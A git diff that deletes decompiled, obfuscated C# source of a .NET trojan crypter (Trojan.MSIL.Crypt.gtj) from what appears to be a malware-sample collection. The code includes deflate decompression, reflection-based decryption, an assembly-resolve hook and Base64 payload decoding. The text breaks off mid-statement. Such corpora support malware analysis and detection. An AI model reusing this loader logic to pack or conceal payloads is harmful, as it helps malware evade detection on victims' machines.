a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0006.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0006.cs deleted file mode 100644 index 8494bfa8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0002/_0006.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using System; - -namespace \u0002 -{ - [AttributeUsage(AttributeTargets.Method)] - internal sealed class \u0006 : Attribute - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0003/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0003/_0001.cs deleted file mode 100644 index 751fb85f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0003/_0001.cs +++ /dev/null @@ -1,99 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using \u0003; -using System.Runtime.InteropServices; - -namespace \u0003 -{ - internal sealed class \u0001 - { - internal static \u0001.\u0001 \u0001; - internal static \u0001.\u0002 \u0001; - internal static \u0001.\u0003 \u0001; - internal static \u0001.\u0004 \u0001; - internal static \u0001.\u0005 \u0001; - internal static \u0001.\u0006 \u0001; - internal static \u0001.\u0007 \u0001; - internal static \u0001.\u0008 \u0001; - internal static \u0001.\u000E \u0001; - internal static \u0001.\u000F \u0001; - internal static \u0001.\u0010 \u0001; - internal static \u0001.\u0011 \u0001; - internal static \u0001.\u0012 \u0001; - internal static \u0001.\u0013 \u0001; - - [StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)] - internal struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)] - internal struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - internal struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - internal struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)] - internal struct \u0005 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0006 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0007 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0008 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u000E - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u000F - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0010 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0011 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0012 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0013 - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0004/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0004/_0001.cs deleted file mode 100644 index 05f1232c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0004/_0001.cs +++ /dev/null @@ -1,140 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using System; -using System.Collections; -using System.Diagnostics; -using System.Text; - -namespace \u0004 -{ - internal sealed class \u0001 - { - internal const string \u0001 = "{71461f04-2faa-4bb9-a0dd-28a79101b599}"; - private const int \u0001 = 4; - internal static Hashtable \u0001 = new Hashtable(); - - internal static bool IsWebApplication - { - get - { - bool flag; - try - { - string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower(); - if (true) - { - int num = lower == "w3wp.exe" ? 1 : 0; - if (true) - { - if (num != 0) - { - if (true) - { - flag = true; - goto label_12; - } - else - goto label_12; - } - else - num = lower == "aspnet_wp.exe" ? 1 : 0; - } - if (num != 0) - { - flag = true; - goto label_12; - } - } - } - catch - { - } -label_10: - return false; -label_12: - if (true) - { - int num = flag ? 1 : 0; - return false ? num != 0 : num != 0; - } - goto label_10; - } - } - - internal struct \u0001 - { - public string \u0001; - public Version \u0001; - public string \u0002; - public string \u0003; - - public string \u0001(bool _param1) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(this.\u0001); - if (true) - goto label_8; -label_5: - if (true) - { - stringBuilder.Append(this.\u0002.Length == 0 ? "neutral" : this.\u0002); - stringBuilder.Append(", PublicKeyToken="); - stringBuilder.Append(this.\u0003.Length == 0 ? "null" : this.\u0003); - } - return stringBuilder.ToString(); -label_8: - int num; - for (int index = _param1 ? 1 : 0; index != 0; index = num) - { - num = this.\u0001 != (Version) null ? 1 : 0; - if (true) - { - if (num != 0) - { - stringBuilder.Append(", Version="); - stringBuilder.Append((object) this.\u0001); - break; - } - break; - } - } - stringBuilder.Append(", Culture="); - goto label_5; - } - - public \u0001(string assemblyFullName) - { - this.\u0001 = (Version) null; - this.\u0002 = string.Empty; - this.\u0003 = string.Empty; - this.\u0001 = string.Empty; - string str1 = assemblyFullName; - char[] chArray = new char[1]{ ',' }; - foreach (string str2 in str1.Split(chArray)) - { - string str3 = str2.Trim(); - if (str3.StartsWith("Version=")) - this.\u0001 = new Version(str3.Substring(8)); - else if (str3.StartsWith("Culture=")) - { - this.\u0002 = str3.Substring(8); - if (this.\u0002 == "neutral") - this.\u0002 = string.Empty; - } - else if (str3.StartsWith("PublicKeyToken=")) - { - this.\u0003 = str3.Substring(15); - if (this.\u0003 == "null") - this.\u0003 = string.Empty; - } - else - this.\u0001 = str3; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0004/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0004/_0002.cs deleted file mode 100644 index ca0c5dad..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0004/_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using System; - -namespace \u0004 -{ - [AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Constructor | AttributeTargets.Method)] - internal sealed class \u0002 : Attribute - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0005/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0005/_0001.cs deleted file mode 100644 index b1dcf4ab..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_0005/_0001.cs +++ /dev/null @@ -1,4209 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using \u0002; -using SmartAssembly.MemoryManagement; -using System; -using System.IO; -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace \u0005 -{ - internal sealed class \u0001 - { - static void \u0001(\u0006.\u0006.\u000F _param0, [In] int obj1) - { - \u0005.\u0001.\u0001(obj1, _param0); - \u0005.\u0001.\u0001(obj1 >> 16, _param0); - } - - static int \u0001([In] \u0006.\u0006.\u000F obj0) => obj0.ReadByte() | obj0.ReadByte() << 8; - - static void \u0001(\u0006.\u0006.\u000E _param0, [In] int obj1) - { - byte[] numArray1 = _param0.\u0001; - \u0006.\u0006.\u000E obj2 = _param0; - int num1; - int num2 = num1 = obj2.\u0002; - obj2.\u0002 = num1 + 1; - int index1 = num2; - int num3 = (int) (byte) obj1; - numArray1[index1] = (byte) num3; - byte[] numArray2 = _param0.\u0001; - \u0006.\u0006.\u000E obj3 = _param0; - int num4; - int num5 = num4 = obj3.\u0002; - obj3.\u0002 = num4 + 1; - int index2 = num5; - int num6 = (int) (byte) (obj1 >> 8); - numArray2[index2] = (byte) num6; - } - - static unsafe void \u0001(\u0006.\u0006.\u0007.\u0001 _param0, [In] \u0006.\u0006.\u0007.\u0001 obj1) - { - void* voidPtr; - if (true) - { - // ISSUE: untyped stack allocation - voidPtr = (void*) __untypedstackalloc(20); - *(int*) ((IntPtr) voidPtr + 8) = -1; - *(int*) ((IntPtr) voidPtr + 12) = 0; - goto label_17; - } -label_5: - *(int*) ((IntPtr) voidPtr + 4) = 3; - int num; - if (*(int*) ((IntPtr) voidPtr + 8) != *(int*) ((IntPtr) voidPtr + 16)) - { - short[] numArray; - IntPtr index; - (numArray = obj1.\u0001)[(int) (index = (IntPtr) *(int*) ((IntPtr) voidPtr + 16))] = (short) ((int) numArray[index] + 1); - num = 0; - } -label_7: - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 16); - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 12) + 1; - while (*(int*) ((IntPtr) voidPtr + 12) < _param0.\u0002 && *(int*) ((IntPtr) voidPtr + 8) == (int) _param0.\u0001[*(int*) ((IntPtr) voidPtr + 12)]) - { - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 12) + 1; - if (++num >= *(int*) voidPtr) - break; - } - if (num < *(int*) ((IntPtr) voidPtr + 4)) - { - short[] numArray; - IntPtr index; - (numArray = obj1.\u0001)[(int) (index = (IntPtr) *(int*) ((IntPtr) voidPtr + 8))] = (short) ((int) numArray[index] + (int) (short) num); - } - else if (*(int*) ((IntPtr) voidPtr + 8) != 0) - { - short[] numArray; - (numArray = obj1.\u0001)[16] = (short) ((int) numArray[16] + 1); - } - else if (num <= 10) - { - short[] numArray; - (numArray = obj1.\u0001)[17] = (short) ((int) numArray[17] + 1); - } - else - { - short[] numArray; - (numArray = obj1.\u0001)[18] = (short) ((int) numArray[18] + 1); - } -label_17: - if (*(int*) ((IntPtr) voidPtr + 12) >= _param0.\u0002) - return; - num = 1; - *(int*) ((IntPtr) voidPtr + 16) = (int) _param0.\u0001[*(int*) ((IntPtr) voidPtr + 12)]; - if (*(int*) ((IntPtr) voidPtr + 16) != 0) - { - *(int*) voidPtr = 6; - goto label_5; - } - else - { - *(int*) voidPtr = 138; - *(int*) ((IntPtr) voidPtr + 4) = 3; - goto label_7; - } - } - - static unsafe void \u0001([In] \u0006.\u0006.\u0007.\u0001 obj0) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(16); - int length = obj0.\u0001.Length; - int[] numArray = new int[obj0.\u0003]; - do - { - *(int*) voidPtr = 0; - obj0.\u0002 = new short[obj0.\u0001.Length]; - *(int*) ((IntPtr) voidPtr + 4) = 0; - } - while (false); - while (*(int*) ((IntPtr) voidPtr + 4) < obj0.\u0003) - { - numArray[*(int*) ((IntPtr) voidPtr + 4)] = *(int*) voidPtr; - *(int*) voidPtr = *(int*) voidPtr + (obj0.\u0001[*(int*) ((IntPtr) voidPtr + 4)] << 15 - *(int*) ((IntPtr) voidPtr + 4)); - *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) + 1; - } - *(int*) ((IntPtr) voidPtr + 8) = 0; - while (*(int*) ((IntPtr) voidPtr + 8) < obj0.\u0002) - { - *(int*) ((IntPtr) voidPtr + 12) = (int) obj0.\u0001[*(int*) ((IntPtr) voidPtr + 8)]; - if (*(int*) ((IntPtr) voidPtr + 12) > 0) - { - obj0.\u0002[*(int*) ((IntPtr) voidPtr + 8)] = \u0005.\u0001.\u0001(numArray[*(int*) ((IntPtr) voidPtr + 12) - 1]); - numArray[*(int*) ((IntPtr) voidPtr + 12) - 1] += 1 << 16 - *(int*) ((IntPtr) voidPtr + 12); - } - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 8) + 1; - } - } - - static void \u0001(\u0006.\u0006.\u0003 _param0, int _param1, [In] int obj2) - { - if ((_param0.\u0004 += _param1) > 32768) - throw new InvalidOperationException(); - int sourceIndex = _param0.\u0003 - obj2 & (int) short.MaxValue; - int num = 32768 - _param1; - if (sourceIndex <= num && _param0.\u0003 < num) - { - if (_param1 <= obj2) - { - Array.Copy((Array) _param0.\u0001, sourceIndex, (Array) _param0.\u0001, _param0.\u0003, _param1); - _param0.\u0003 += _param1; - } - else - { - while (_param1-- > 0) - _param0.\u0001[_param0.\u0003++] = _param0.\u0001[sourceIndex++]; - } - } - else - \u0005.\u0001.\u0001(_param0, sourceIndex, _param1, obj2); - } - - static ICryptoTransform \u0001( - bool _param0, - byte[] _param1, - byte[] _param2, - [In] \u0006.\u0004 obj3) - { - obj3.\u0001.GetProperty("Key").GetSetMethod().Invoke(obj3.\u0001, new object[1] - { - (object) _param2 - }); - obj3.\u0001.GetProperty("IV").GetSetMethod().Invoke(obj3.\u0001, new object[1] - { - (object) _param1 - }); - return (ICryptoTransform) obj3.\u0001.GetMethod(_param0 ? "CreateDecryptor" : "CreateEncryptor", new Type[0]).Invoke(obj3.\u0001, new object[0]); - } - - static void \u0001([In] \u0006.\u0006.\u0002 obj0) - { - obj0.\u0001 >>= obj0.\u0003 & 7; - obj0.\u0003 &= -8; - } - - static void \u0001([In] \u0006.\u0006.\u0006 obj0) => obj0.\u0007 |= 12; - - static \u0006.\u0006.\u0004 \u0001([In] \u0006.\u0006.\u0005 obj0) - { - byte[] numArray = new byte[obj0.\u000E]; - Array.Copy((Array) obj0.\u0002, obj0.\u0008, (Array) numArray, 0, obj0.\u000E); - return new \u0006.\u0006.\u0004(numArray); - } - - static unsafe int \u0001(byte[] _param0, [In] \u0006.\u0006.\u0006 obj1) - { - // ISSUE: untyped stack allocation - IntPtr num1 = __untypedstackalloc(22); - void* voidPtr; - if (true) - voidPtr = (void*) num1; - *(int*) voidPtr = 0; - *(int*) ((IntPtr) voidPtr + 4) = _param0.Length; - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 4); -label_19: - while (true) - { - do - { - *(int*) ((IntPtr) voidPtr + 12) = \u0005.\u0001.\u0001(obj1.\u0001, _param0, *(int*) voidPtr, *(int*) ((IntPtr) voidPtr + 4)); - *(int*) voidPtr = *(int*) voidPtr + *(int*) ((IntPtr) voidPtr + 12); - obj1.\u0001 += (long) *(int*) ((IntPtr) voidPtr + 12); - *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) - *(int*) ((IntPtr) voidPtr + 12); - if (*(int*) ((IntPtr) voidPtr + 4) != 0 && obj1.\u0007 != 30) - { - do - { - \u0006.\u0006.\u0008 obj = obj1.\u0001; - *(sbyte*) ((IntPtr) voidPtr + 20) = (sbyte) ((obj1.\u0007 & 4) != 0); - *(sbyte*) ((IntPtr) voidPtr + 21) = (sbyte) ((obj1.\u0007 & 8) != 0); - if (!\u0005.\u0001.\u0001((bool) *(sbyte*) ((IntPtr) voidPtr + 20), (bool) *(sbyte*) ((IntPtr) voidPtr + 21), obj)) - { - if (obj1.\u0007 != 16) - goto label_6; - } - else - goto label_19; - } - while (false); - goto label_4; -label_6: - if (obj1.\u0007 == 20) - goto label_7; - } - else - goto label_15; - } - while (obj1.\u0007 != 28); - goto label_14; -label_7: - *(int*) ((IntPtr) voidPtr + 16) = 8 + (-obj1.\u0001.\u0003 & 7); - do - { - while (*(int*) ((IntPtr) voidPtr + 16) > 0) - { - if (true) - { - \u0005.\u0001.\u0001(obj1.\u0001, 2, 10); - *(int*) ((IntPtr) voidPtr + 16) = *(int*) ((IntPtr) voidPtr + 16) - 10; - } - } - } - while (false); - obj1.\u0007 = 16; - continue; -label_14: - \u0005.\u0001.\u0001(obj1.\u0001); - obj1.\u0007 = 30; - } -label_4: - int num2 = *(int*) ((IntPtr) voidPtr + 8); -label_5: - int num3 = *(int*) ((IntPtr) voidPtr + 4); - return num2 - num3; -label_15: - num2 = *(int*) ((IntPtr) voidPtr + 8); - if (true) - { - int num4 = *(int*) ((IntPtr) voidPtr + 4); - return num2 - num4; - } - goto label_5; - } - - static void \u0001(\u0006.\u0006.\u0007.\u0001 _param0, [In] int obj1) => \u0005.\u0001.\u0001(_param0.\u0001.\u0001, (int) _param0.\u0002[obj1] & (int) ushort.MaxValue, (int) _param0.\u0001[obj1]); - - static \u0006.\u0006.\u0004 \u0001([In] \u0006.\u0006.\u0005 obj0) - { - byte[] numArray = new byte[obj0.\u0008]; - Array.Copy((Array) obj0.\u0002, 0, (Array) numArray, 0, obj0.\u0008); - return new \u0006.\u0006.\u0004(numArray); - } - - static int \u0001([In] \u0006.\u0006.\u000F obj0) => \u0005.\u0001.\u0001(obj0) | \u0005.\u0001.\u0001(obj0) << 16; - - static void \u0001(int _param0, int _param1, byte[] _param2, [In] \u0006.\u0006.\u0002 obj3) - { - if (true) - goto label_6; -label_4: - obj3.\u0003 += 8; -label_5: - obj3.\u0001 = _param2; - obj3.\u0001 = _param1; - int num; - obj3.\u0002 = num; - return; -label_6: - if (obj3.\u0001 < obj3.\u0002) - throw new InvalidOperationException(); - num = _param1 + _param0; - if (0 > _param1 || _param1 > num || num > _param2.Length) - throw new ArgumentOutOfRangeException(); - if ((_param0 & 1) != 0) - { - obj3.\u0001 |= (uint) (((int) _param2[_param1++] & (int) byte.MaxValue) << obj3.\u0003); - goto label_4; - } - else - goto label_5; - } - - static void \u0001(int _param0, [In] \u0006.\u0006.\u000F obj1) - { - obj1.WriteByte((byte) (_param0 & (int) byte.MaxValue)); - obj1.WriteByte((byte) (_param0 >> 8 & (int) byte.MaxValue)); - } - - static void \u0001() - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0005.\u0001.\u0001); - } - catch - { - } - } - - static void \u0001([In] \u0006.\u0004 obj0) - { - do - { - if (true) - goto label_3; -label_2: - continue; -label_3: - obj0.\u0001.GetMethod("Clear").Invoke(obj0.\u0001, new object[0]); - goto label_2; - } - while (false); - } - - static unsafe void \u0001(byte[] _param0, [In] \u0006.\u0006.\u0004 obj1) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(68); - int[] numArray1 = new int[16]; - int[] numArray2 = new int[16]; - *(int*) voidPtr = 0; - while (*(int*) voidPtr < _param0.Length) - { - *(int*) ((IntPtr) voidPtr + 4) = (int) _param0[*(int*) voidPtr]; - if (*(int*) ((IntPtr) voidPtr + 4) > 0) - { - int[] numArray3; - int index; - int num = (numArray3 = numArray1)[(IntPtr) (index = *(int*) ((IntPtr) voidPtr + 4))] + 1; - numArray3[index] = num; - } - *(int*) voidPtr = *(int*) voidPtr + 1; - } - *(int*) ((IntPtr) voidPtr + 8) = 0; - *(int*) ((IntPtr) voidPtr + 12) = 512; - *(int*) ((IntPtr) voidPtr + 16) = 1; - while (*(int*) ((IntPtr) voidPtr + 16) <= 15) - { - numArray2[*(int*) ((IntPtr) voidPtr + 16)] = *(int*) ((IntPtr) voidPtr + 8); - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 8) + (numArray1[*(int*) ((IntPtr) voidPtr + 16)] << 16 - *(int*) ((IntPtr) voidPtr + 16)); - if (*(int*) ((IntPtr) voidPtr + 16) >= 10) - { - *(int*) ((IntPtr) voidPtr + 20) = numArray2[*(int*) ((IntPtr) voidPtr + 16)] & 130944; - *(int*) ((IntPtr) voidPtr + 24) = *(int*) ((IntPtr) voidPtr + 8) & 130944; - *(int*) ((IntPtr) voidPtr + 12) = *(int*) ((IntPtr) voidPtr + 12) + (*(int*) ((IntPtr) voidPtr + 24) - *(int*) ((IntPtr) voidPtr + 20) >> 16 - *(int*) ((IntPtr) voidPtr + 16)); - } - *(int*) ((IntPtr) voidPtr + 16) = *(int*) ((IntPtr) voidPtr + 16) + 1; - } - obj1.\u0001 = new short[*(int*) ((IntPtr) voidPtr + 12)]; - *(int*) ((IntPtr) voidPtr + 28) = 512; - *(int*) ((IntPtr) voidPtr + 32) = 15; - if (true) - goto label_15; -label_12: - *(int*) ((IntPtr) voidPtr + 28) = *(int*) ((IntPtr) voidPtr + 28) + (1 << *(int*) ((IntPtr) voidPtr + 32) - 9); - *(int*) ((IntPtr) voidPtr + 44) = *(int*) ((IntPtr) voidPtr + 44) + 128; -label_13: - if (*(int*) ((IntPtr) voidPtr + 44) < *(int*) ((IntPtr) voidPtr + 36)) - { - obj1.\u0001[(int) \u0005.\u0001.\u0001(*(int*) ((IntPtr) voidPtr + 44))] = (short) (-*(int*) ((IntPtr) voidPtr + 28) << 4 | *(int*) ((IntPtr) voidPtr + 32)); - goto label_12; - } - else - *(int*) ((IntPtr) voidPtr + 32) = *(int*) ((IntPtr) voidPtr + 32) - 1; -label_15: - if (*(int*) ((IntPtr) voidPtr + 32) >= 10) - { - *(int*) ((IntPtr) voidPtr + 36) = *(int*) ((IntPtr) voidPtr + 8) & 130944; - *(int*) ((IntPtr) voidPtr + 8) = *(int*) ((IntPtr) voidPtr + 8) - (numArray1[*(int*) ((IntPtr) voidPtr + 32)] << 16 - *(int*) ((IntPtr) voidPtr + 32)); - *(int*) ((IntPtr) voidPtr + 40) = *(int*) ((IntPtr) voidPtr + 8) & 130944; - *(int*) ((IntPtr) voidPtr + 44) = *(int*) ((IntPtr) voidPtr + 40); - goto label_13; - } - else - { - *(int*) ((IntPtr) voidPtr + 48) = 0; - while (*(int*) ((IntPtr) voidPtr + 48) < _param0.Length) - { - *(int*) ((IntPtr) voidPtr + 52) = (int) _param0[*(int*) ((IntPtr) voidPtr + 48)]; - if (*(int*) ((IntPtr) voidPtr + 52) != 0) - { - *(int*) ((IntPtr) voidPtr + 8) = numArray2[*(int*) ((IntPtr) voidPtr + 52)]; - *(int*) ((IntPtr) voidPtr + 56) = (int) \u0005.\u0001.\u0001(*(int*) ((IntPtr) voidPtr + 8)); - if (*(int*) ((IntPtr) voidPtr + 52) <= 9) - { - do - { - obj1.\u0001[*(int*) ((IntPtr) voidPtr + 56)] = (short) (*(int*) ((IntPtr) voidPtr + 48) << 4 | *(int*) ((IntPtr) voidPtr + 52)); - *(int*) ((IntPtr) voidPtr + 56) = *(int*) ((IntPtr) voidPtr + 56) + (1 << *(int*) ((IntPtr) voidPtr + 52)); - } - while (*(int*) ((IntPtr) voidPtr + 56) < 512); - } - else - { - *(int*) ((IntPtr) voidPtr + 60) = (int) obj1.\u0001[*(int*) ((IntPtr) voidPtr + 56) & 511]; - *(int*) ((IntPtr) voidPtr + 64) = 1 << (*(int*) ((IntPtr) voidPtr + 60) & 15); - *(int*) ((IntPtr) voidPtr + 60) = -(*(int*) ((IntPtr) voidPtr + 60) >> 4); - do - { - obj1.\u0001[*(int*) ((IntPtr) voidPtr + 60) | *(int*) ((IntPtr) voidPtr + 56) >> 9] = (short) (*(int*) ((IntPtr) voidPtr + 48) << 4 | *(int*) ((IntPtr) voidPtr + 52)); - *(int*) ((IntPtr) voidPtr + 56) = *(int*) ((IntPtr) voidPtr + 56) + (1 << *(int*) ((IntPtr) voidPtr + 52)); - } - while (*(int*) ((IntPtr) voidPtr + 56) < *(int*) ((IntPtr) voidPtr + 64)); - } - numArray2[*(int*) ((IntPtr) voidPtr + 52)] = *(int*) ((IntPtr) voidPtr + 8) + (1 << 16 - *(int*) ((IntPtr) voidPtr + 52)); - } - *(int*) ((IntPtr) voidPtr + 48) = *(int*) ((IntPtr) voidPtr + 48) + 1; - } - } - } - - static bool \u0001(\u0006.\u0006.\u0007 _param0, [In] int obj1) - { - _param0.\u0001[_param0.\u000E] = (short) 0; - byte[] numArray1 = _param0.\u0002; - \u0006.\u0006.\u0007 obj = _param0; - int num1; - int num2 = num1 = obj.\u000E; - obj.\u000E = num1 + 1; - int index1 = num2; - int num3 = (int) (byte) obj1; - numArray1[index1] = (byte) num3; - short[] numArray2; - int index2; - (numArray2 = _param0.\u0001.\u0001)[index2 = obj1] = (short) ((int) numArray2[(IntPtr) index2] + 1); - return _param0.\u000E >= 16384; - } - - static void \u0001(byte[] _param0, [In] \u0006.\u0006.\u0006 obj1) => \u0005.\u0001.\u0001(_param0, obj1.\u0001); - - static unsafe bool \u0001([In] \u0006.\u0006.\u0001 obj0) - { - // ISSUE: untyped stack allocation - void* voidPtr = (void*) __untypedstackalloc(12); - int num1 = \u0005.\u0001.\u0001(obj0.\u0001); - while (true) - { - int index1; - while (num1 >= 258) - { - *(int*) ((IntPtr) voidPtr + 8) = obj0.\u0013; - switch (*(int*) ((IntPtr) voidPtr + 8)) - { - case 7: - int num2 = \u0005.\u0001.\u0001(obj0.\u0001, obj0.\u0001); - if (true) - { - index1 = num2; - int num3; - for (int index2 = num2 & -256; index2 == 0; index2 = num3) - { - \u0005.\u0001.\u0001(obj0.\u0001, index1); - num3 = num1; - if (true) - { - if ((num1 = num3 - 1) < 258) - return true; - goto case 7; - } - } - int num4 = index1; - num2 = 257; - num2 = num4; - } - if (num2 < num2) - { - if (index1 < 0) - return false; - obj0.\u0002 = (\u0006.\u0006.\u0004) null; - obj0.\u0001 = (\u0006.\u0006.\u0004) null; - obj0.\u0013 = 2; - return true; - } - obj0.\u0015 = \u0006.\u0006.\u0001.\u0001[index1 - 257]; - obj0.\u0014 = \u0006.\u0006.\u0001.\u0002[index1 - 257]; - goto case 8; - case 8: - if (obj0.\u0014 > 0) - { - obj0.\u0013 = 8; - if (true) - { - *(int*) voidPtr = \u0005.\u0001.\u0001(obj0.\u0001, obj0.\u0014); - if (*(int*) voidPtr < 0) - return false; - \u0005.\u0001.\u0001(obj0.\u0001, obj0.\u0014); - obj0.\u0015 += *(int*) voidPtr; - } - else - goto label_21; - } - obj0.\u0013 = 9; - goto case 9; - case 9: - index1 = \u0005.\u0001.\u0001(obj0.\u0002, obj0.\u0001); - goto label_20; - case 10: - goto label_23; - default: - continue; - } - } - goto label_29; -label_20: - if (index1 >= 0) - { - obj0.\u0016 = \u0006.\u0006.\u0001.\u0003[index1]; - obj0.\u0014 = \u0006.\u0006.\u0001.\u0004[index1]; - } - else - break; -label_23: - if (obj0.\u0014 > 0) - { - obj0.\u0013 = 10; - *(int*) ((IntPtr) voidPtr + 4) = \u0005.\u0001.\u0001(obj0.\u0001, obj0.\u0014); - if (*(int*) ((IntPtr) voidPtr + 4) >= 0) - { - \u0005.\u0001.\u0001(obj0.\u0001, obj0.\u0014); - obj0.\u0016 += *(int*) ((IntPtr) voidPtr + 4); - } - else - goto label_25; - } - \u0005.\u0001.\u0001(obj0.\u0001, obj0.\u0015, obj0.\u0016); - num1 -= obj0.\u0015; - obj0.\u0013 = 7; - continue; -label_29: - if (false) - goto label_20; - else - goto label_30; - } -label_21: - return false; -label_25: - return false; -label_30: - return true; - } - - static void \u0001(string _param0, string _param1) - { - if (true) - goto label_4; -label_3: - byte[] numArray; - string str1; - \u0003.\u0002 = \u0005.\u0001.\u0001(str1, numArray); - if (true) - return; - goto label_8; -label_4: - numArray = Convert.FromBase64String(_param0); - int num = 268; -label_5: - string str2 = 